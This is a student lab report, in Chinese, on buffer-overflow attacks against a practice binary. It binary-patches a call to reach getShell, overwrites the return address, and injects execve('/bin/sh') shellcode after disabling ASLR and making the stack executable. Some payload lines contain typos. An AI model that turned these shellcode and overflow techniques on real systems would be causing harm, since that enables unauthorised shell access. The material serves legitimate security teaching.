首页 > 其他分享 >20222311 2024-2025-1 《网络与系统攻防技术》实验一实验报告

20222311 2024-2025-1 《网络与系统攻防技术》实验一实验报告

时间:2024-10-11 19:00:30浏览次数:1  
标签:x90 pwn20222311 x2f 2024 2025 input shellcode 20222311 输入

20222311 2024-2025-1 《网络与系统攻防技术》实验一实验报告

1.实验内容
本次实验主要内容为 BOF 注入攻击,任务如下:

  • 掌握反汇编及其指令

  • 修改程序的机器指令,从而实现 BOF 注入攻击

  • 注入一段 Shellcode,以实现 BOF 注入攻击

2.实验过程
任务 1:修改可执行文件机器指令,改变程序执行流程
(一)把pwn1文件改名为pwn20222311,下载目标文件pwn20222311反汇编。



(二)接着使用 vi 工具(vi pwn20222311)进入该文件进行修改,如下:

(三)以下操作是在vi内
1.按ESC键
2.输入如下,将显示模式切换为16进制模式
:%!xxd
3.查找要修改的内容
/e8d7
4.找到后前后的内容和反汇编的对比下,确认是地方是正确的
5.修改d7为c3
6.转换16进制为原格式
:%!xxd -r
7.存盘退出vi
:wq





8.再反汇编看一下,call指令是否正确调用getShell
root@KaliYL:~# objdump -d pwn20222311 | more
9.运行下改后的代码,会得到shell提示符#

任务 2:通过 BOF 注入攻击,实现改变程序执行流程
(一)安装gdb,使用sudo apt update和sudo apt install gdb命令安装gdb

(二)安装完成后对pwn20222311-2进行gdb调试,输入1111111122222222333333334444444455555555时可以看到eip的值0x35353535,也就是5555的ASCII码。
输入命令 info r查看寄存器eip的值,确认输入字符串哪几个字符会覆盖到返回地址。


(三)把1234换成getShell的地址0x0804847d,我们需要输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input20222311
生成一个包含这些16进制内容的文件(\x0a表示回车);

使用16进制查看指令xxd input20222311查看input文件的内容

确认无误后使用(cat input20222311;cat) | ./pwn20222311-2将input中的字符串作为可执行文件的输入。

成功获取shell,即成功调用了getShell函数。
任务 3:通过 BOF 注入攻击,注入 Shellcode 并执行。
(1)首先需要在学习通平台下载资源,解压后将文件夹传输到虚拟机中;然后,依次输入以下命令
①sudo apt-get install libelf-dev

②./configure

③make

④sudo make install

完成execstack的安装
(二)通过以下命令修改设置
1.execstack -s pwn20222311-5设置堆栈可执行
2.execstack -q pwn20222311-5 查询文件的堆栈是否可执行
3.more /proc/sys/kernel/randomize_va_space 查看地址随机化的状态
4.echo "0" > /proc/sys/kernel/randomize_va_space 关闭地址随机化
5.more /proc/sys/kernel/randomize_va_space

(三)构造要使用的payload。Linux下有两种基本构造攻击buf的方法:

  • retaddr+nop+shellcode
  • nop+shellcode+retaddr

使用以下命令进行构造shellcode的输入(x1x2x3x4是用来占位的,后续将替换为注入shellcode的地址,也就是foo函数中return address的位置,这个地址需要我们接下来去gdb分析寻找),并将其放入名为input_shellcode的文件中:
Perl -e print'"\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
输入命令(cat input_shellcode; cat) | ./pwn20222311-5将input_shellcode的输入内容作为pwn20222311-5的输入

(四)新打开一个新终端,输入ps -ef | grep pwn20222311-5,查看pwn20222311-5文件的进程以及进程号。

可以看到,进程号分别为5875和6104。
此后,再在这个新终端中使用gdb对pwn20222311-5进行调试,来获取foo函数中returnaddress的位置。
输入命令attach 5875,输入刚刚查找的进程号

输入命令disassemble foo,反编译foo函数并进行分析

可以看到,ret的地址为0x080484ae,因此,在这里设置断点,继续分析
输入命令break *0x080484ae

在另外一个终端中按下回车

在新终端输入c,c表示continue继续运行

输入info r esp查看栈顶指针所在位置,如下图可知栈顶指针所在的位置为0xffffd37c;

栈顶指针地址再加4字节,就是shellcode应该处于的地址,即0xffffcfac+4=0xffffd380。
现在可以进行shellcode的注入,最终获取shell。将0x04030201换成上述我们计算出来的位置0xffffd380,且用机器存储的方式,颠倒一下,重新进行输入。在原终端中输入
perl -e print'"\80\d3\ff\ff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
然后再输入(cat input_shellcode; cat) | ./pwn20222311-5,将input_shellcode的输入内容作为pwn20222317-5的输入。

3.问题及解决方案

  • 问题 1:在进行任务 1 时,查询十六进制文本时,按照指导书使用“/e8d3”无法查询到相应内容。
    解决方案:查询“d3ff”就能查到该内容。
  • 问题2:一开始输入./configure报错

    解决方案:使用命令cd prelink转换目录
  • 问题3:一开始没有把下载好的prelink移到虚拟机的桌面
    解决方案,把prelink移到桌面后得以解决
  • 问题4:在输入perl -e 'print "A" x 32;print' "\x80\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode代码时出现了错误
    解决方案:仔细检查代码后发现少了一个引号,补充完整后正常运行。

4.学习感悟、思考等

在实验中,我首先分析了pwn程序的执行流程,了解到程序的main函数会调用foo函数,而foo函数会回显用户输入的字符串。这个简单的功能背后隐藏着一个秘密:一个名为getShell的代码片段,它能够返回一个Shell,但在正常情况下不会被执行。通过这次实践,我学习了两种方法来触发getShell函数的执行。第一种方法是通过缓冲区溢出攻击,通过精心构造的输入覆盖程序的控制流,使得程序跳转到getShell函数的地址上执行。第二种方法涉及到了对程序二进制文件的修改,通过直接修改程序的控制流来实现对getShell函数的调用。在这个过程中,我深刻体会到了逆向工程的魅力。通过分析程序的二进制代码,我能够理解程序的工作原理,并且找到了操纵程序执行流程的方法。这不仅仅是技术上的挑战,更是对逻辑思维和耐心的考验。此外,我还学习了如何注入并执行任意的Shellcode。这让我意识到了系统安全的重要性,以及攻击者可能利用的漏洞。通过这次实验,我更加明白了作为一名网络空间安全专业的学生,我需要不断学习新的安全技术和防御措施,以保护我们的系统不受攻击。

标签:x90,pwn20222311,x2f,2024,2025,input,shellcode,20222311,输入
From: https://www.cnblogs.com/20222311wsh/p/18457315

相关文章

  • # 20222409 2024-2025-1 《网络与系统攻防技术》实验一实验报告
    1.实验内容1.1逆向工程与汇编基础:掌握了汇编指令(如NOP、JMP等)在控制程序流中的作用。学会使用objdump反汇编可执行文件,并通过十六进制编辑器修改机器码以改变程序执行流程。1.2缓冲区溢出(BufferOverflow)原理:了解堆栈结构和返回地址覆盖,理解如何通过超长输入覆盖返回地址来控......
  • 2024年还不知道如何清理c盘?最齐全的C盘清理指南!(非常详细)零基础入门到精通,收藏这一篇就
    这段时间以来,我收到最多的问题还是问如何解决C盘爆满,那么今天就来给大家详细讲述一下该怎么给C盘“瘦身”。我之前在文章《带你全面了解你的C盘!并且给它“瘦身”!》中讲到过C盘各个文件夹的作用,也提到过一些清理C盘的方法,但是它并不全面,大家都知道C盘中存放着很多的系统文件......
  • 2024护网行动:HW常见红队使用工具_红队工具
    目录什么是HW?什么是网络安全红蓝对抗?红队常见工具信息收集工具Nmap简介漏洞扫描工具Nessus简介AWVS简介抓包工具Wireshark简介TangGo简介web应用安全工具Burpsuite简介SQLMapwebshell管理工具蚁剑冰蝎后渗透工具CobaltStrikeMeterpreter密码破......
  • [45] (多校联训) A层冲刺NOIP2024模拟赛05
    这是什么午休,大黄突然走进来大黄:闪电特效!其他人:?大黄:5k!其他人:???大黄:【闪电特效】【闪电特效】男人中的男人【闪电特效】【闪电特效】雄性中的雄性【闪电特效】【闪电特效】巅峰!【闪电特效】【闪电特效】A.好数简单变形一下\[f_i+f_j+f_k=c\]\[f_j+f_k=c-f_i\]然......
  • 2024最新最全:网络安全人士【必备的30个安全工具】
    1.WiresharkWireshark(前称Ethereal)是一个网络封包分析软件。网络封包分析软件的功能是截取网络封包,并尽可能显示出最为详细的网络封包资料。Wireshark使用WinPCAP作为接口,直接与网卡进行数据报文交换。2.MetasploitMetasploit是一个免费的、可下载的框架,通过它可以很容易......
  • 2024红队必备工具列表总结_railgun工具
    一、信息收集1、AppInfoScanner一款适用于以HVV行动/红队/渗透测试团队为场景的移动端(Android、iOS、WEB、H5、静态网站)信息收集扫描工具,可以帮助渗透测试工程师、红队成员快速收集到移动端或者静态WEB站点中关键的资产信息并提供基本的信息输出,如:Title、Domain、CDN、......
  • 2024最新最全:Wireshark抓包详解(非常详细)零基础入门到精通,收藏这篇就够了
    在网络工程、安全分析和网络维护中,经常需要诊断和解决各种网络问题。Wireshark作为一款强大的网络抓包工具,因其支持多种操作系统、网络协议和网络接口,成为了网络工程师、安全专家和学习者的必备工具。本文将详细讲解如何通过Wireshark抓包并分析网络问题,帮助读者更好地理解......
  • 20222318 2024-2025-1 《网络与系统攻防技术》实验一实验报告
    一.实验内容(一)本周学习内容本周学习了缓冲区溢出的相关原理,包括简单的汇编代码、缓冲区溢出本质、堆栈的工作原理、Shellcode的编写等等。(二)实验涉及知识点(1)Linux基本操作:①熟悉Linux环境:能够在Linux系统中进行基本的文件操作、目录导航,如cd等。②常用指令理解:如管道(|)、输入......
  • 20222307 2024-2025-1 《网络与系统攻防技术》实验一实验报告
    1.实验内容1.1本周学习内容进程内存管理在Linux系统中,当OS可执行程序被加载到内存后,其内存布局主要包括三个关键段:*.text段:包含程序的指令,这些指令是只读的,用于指导CPU执行操作。*.data段:存储静态初始化数据,这些数据是可写的,程序在运行时可以直接访问和修改。*.bss段:用......
  • 2024前端面试题!
    目录一、Html5、Css3篇1、HTML、XHTML、XML有什么区别?⭐2、XML和JSON的区别?3、是否了解W3C的规范?⭐4、什么是语义化标签?⭐⭐5、常用的块级元素和行内元素有哪一些?⭐6、行内元素和块级元素的区别?⭐7、css盒子模型有几种类型?它们区别是什么⭐8、标签上title与a......